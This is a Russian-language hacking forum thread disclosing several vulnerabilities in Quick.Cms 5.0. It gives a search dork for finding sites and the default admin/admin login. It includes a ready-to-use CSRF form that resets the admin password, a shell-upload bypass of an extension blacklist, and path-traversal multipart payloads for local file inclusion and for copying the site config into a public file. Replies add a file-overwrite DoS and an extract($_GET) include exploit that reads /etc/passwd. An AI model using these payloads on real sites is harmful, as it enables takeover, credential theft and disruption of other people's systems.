Старый 13.01.2013, 00:00   #1
wwwMedic
 
Регистрация: 13.09.2011
Сообщений: 27
Репутация: 10
По умолчанию Quick.Cms

Продукт: Quick.Cms
Версия: 5.0. На момент написания последняя. Возможно, уязвимости присутствуют и в более ранних
Официальный сайт: http://opensolution.org/
Дорк: "CMS by Quick.Cms"

Пароль по умолчанию
Требования: -
Описание: после установки установлен пользователь admin с паролем admin. Вход в админку http://target.pl/admin.php

XSRF
Требования: -
Описание: Формы в админке никак не защищены от XSRF.
Эксплуатация: Изменение пароля администатора (он,к сожалению, один, и ему этот фортель вряд ли понравится)
Код HTML:
<form action="http://target.com/admin.php?p=tools-config" method="POST">
<input type="hidden" name="login" value="admin" />
<input type="hidden" name="pass" value="pass1" />
<input type="hidden" name="sOption" value="save &raquo;" />
<input type="submit" />
</form>
Shell Upload
Требования: доступ в админку
Описание: разрешенные для загрузки расширения фильтруются по "черному" списку.
Уязвимый код:
/core/files-admin.php
PHP код:
if( !$oFFS->checkCorrectFile$sFileName'phtml|php|php3|php4|php5|php6|asp|aspx|py|pyc|jse|js|as|sh|ksh|zsh|bat|cmd|shs|vb|vbe|vbs|wsc|wsf|wsh|url|exe|msi|msp|htaccess|reg|scr|ocx' ) ){
...........
}
else{
      return 
'{error:"Incorrect extension"}';

/core/libraries/file-jobs.php
PHP код:
public function checkCorrectFile$sName$is 'jpg|jpeg|png|gif' ){
        return 
preg_match'/(\.'.str_replace'|''|\.'$is ).')/i'$sName );
    } 
Эксплуатация: .pl, .shtml, как повезет с сервером

LFI
Требования: доступ в админку
Описание: При создании и загрузке нового языка входные данные попадают в инклуд без обработки.
Уязвимый код:
/templates/admin/languages-form.php
PHP код:
if( isset( $_POST['sOption'] ) ){
  if( !isset( 
$_POST['clone'] ) )
    
$_POST['clone'] = null;
  
addLanguage$_POST['language'], $_POST['language_from'], $_POST['clone'] );
  
header'Location: '.$_SERVER['PHP_SELF'].'?p=lang-list&sOption=save' );
  exit;

/core/lang-admin.php
PHP код:
function addLanguage$sLanguage$sLanguageFrom$iCloneData ){
if( 
is_fileDIR_LANG.$sLanguage.'.php' ) || !is_fileDIR_LANG.$sLanguageFrom.'.php' ) )
    return 
null;
...........

if( isset( 
$_FILES['aFile']['name'] ) && $oFFS->throwExtOfFile$_FILES['aFile']['name'] ) == 'php' && is_uploaded_file$_FILES['aFile']['tmp_name'] ) ){
    include 
DIR_LANG.$sLanguageFrom.'.php';
...........

Эксплуатация: избавиться от расширения с помощью, например, null-байта, не даст is_file(). Итого PoC:
Код:
    ..........
-----------------------------957632975937578909177028620\r\n
Content-Disposition: form-data; name="language_from"\r\n
\r\n
../../../../../tmp/shell\r\n
-----------------------------957632975937578909177028620--\r\n
где /tmp/shell.php еще надо как-то засунуть.

Чтение произвольных php файлов
Требования: доступ в админку && mq=off
Описание: При создании и загрузке нового языка входные данные попадают в copy() без обработки. Функция и параметры все те же.
/core/lang-admin.php
PHP код:
function addLanguage$sLanguage$sLanguageFrom$iCloneData ){
if( 
is_fileDIR_LANG.$sLanguage.'.php' ) || !is_fileDIR_LANG.$sLanguageFrom.'.php' ) )
    return 
null;
...........
copyDIR_DATABASE.'config/lang_'.$sLanguageFrom.'.php'DIR_DATABASE.'config/lang_'.$sLanguage.'.php' );
copyDIR_LANG.$sLanguageFrom.'.php'DIR_LANG.$sLanguage.'.php' ); 
Эксплуатация: сохранит конфиг /database/config/general.php в /files/config.txt.
Код:
    ..........
-----------------------------957632975937578909177028620\r\n
Content-Disposition: form-data; name="language"\r\n
\r\n
../../files/config.txt\x00\r\n
-----------------------------957632975937578909177028620\r\n
Content-Disposition: form-data; name="language_from"\r\n
\r\n
../../database/config/general\r\n
-----------------------------957632975937578909177028620--\r\n
Проделать обратный трюк и получить из файла с произвольным расширением php-шелл не даст is_file().

DoS
Используя предыдущий баг.
php.net про функцию copy(): If the destination file already exists, it will be overwritten.
Можно нарушить работу сайта, переписав файлы

Последний раз редактировалось wwwMedic; 13.01.2013 в 16:48..
wwwMedic вне форума   Ответить с цитированием
Старый 13.01.2013, 03:26   #2
l1ght
 
Аватар для l1ght
 
Регистрация: 04.07.2010
Сообщений: 32
Репутация: 32
По умолчанию

дай думаю скачаю, посмотрю как там передается $sFileName
чувак, я тебя обломаю, наверно, но имхо, непростительно для цмс с pr=7 иметь в движке в index.php такой код:
PHP код:
<?php
/*
* Quick.Cms by OpenSolution.org
* www.OpenSolution.org
*/
extract$_GET );

...

if( isset( 
$iContent ) && is_numeric$iContent ) ){
...
// тут определяется $sTheme
...
}

...

if( isset( 
$sTheme ) && is_fileDIR_TEMPLATES.$config['skin'].'/'.$sTheme ) ){
  require_once 
DIR_TEMPLATES.$config['skin'].'/'.$sTheme;
}

...
одей сплоит
PHP код:
/?sTheme=../../.htaccess 
http://opensolution.org/?xeka
l1ght вне форума   Ответить с цитированием
Старый 13.01.2013, 08:25   #3
wwwMedic
 
Регистрация: 13.09.2011
Сообщений: 27
Репутация: 10
По умолчанию

пассаж про обломаю как-то прошел мимо моего понимания.похоже, не обломал
а вот не досмотреть index.php было высокомерно, признаю. прозевал такую багу
насколько я понял, сработает только при register_globals=on ? то есть в новых версиях php не сработает
за дополнение в любом случае спасибо
wwwMedic вне форума   Ответить с цитированием
Старый 13.01.2013, 14:32   #4
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

потести такой код:

PHP код:
<?php
extract
$_GET );
if( isset( 
$sTheme ))
 include(
$sTheme);
http://localhost/test.php?sTheme=/etc/passwd

extract глобализирует переменные, независимо от того, включен или выключен register_globals

Так бекдоры оставляют вообще-то

Последний раз редактировалось Pashkela; 13.01.2013 в 14:42..
Pashkela вне форума   Ответить с цитированием
Старый 13.01.2013, 16:58   #5
l1ght
 
Аватар для l1ght
 
Регистрация: 04.07.2010
Сообщений: 32
Репутация: 32
По умолчанию

Цитата:
Сообщение от Pashkela Посмотреть сообщение
Так бекдоры оставляют вообще-то
паш, я тоже так сперва подумал, слишком банально все, потом увидел эту тему:
https://rdot.org/forum/showthread.php?t=470
экстракт был в этой цмс с древних версий, выбор языковой панели в цмс один(! другого там нет) и появился недавно следовательно бага от суппорта
BlackFan, если это твой бекдор, отпишись ))
l1ght вне форума   Ответить с цитированием
Старый 13.01.2013, 20:27   #6
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Цитата:
BlackFan, если это твой бекдор, отпишись ))
Ужасы какие говоришь)

Меня теперь терзают сомнения, неужели я такие простые баги просмотрел 2,5 года назад, или их уже сейчас добавили (потому что у меня в старой теме ад какой-то написан, я даже не смог вспомнить). Но проверять слишком лень
BlackFan вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot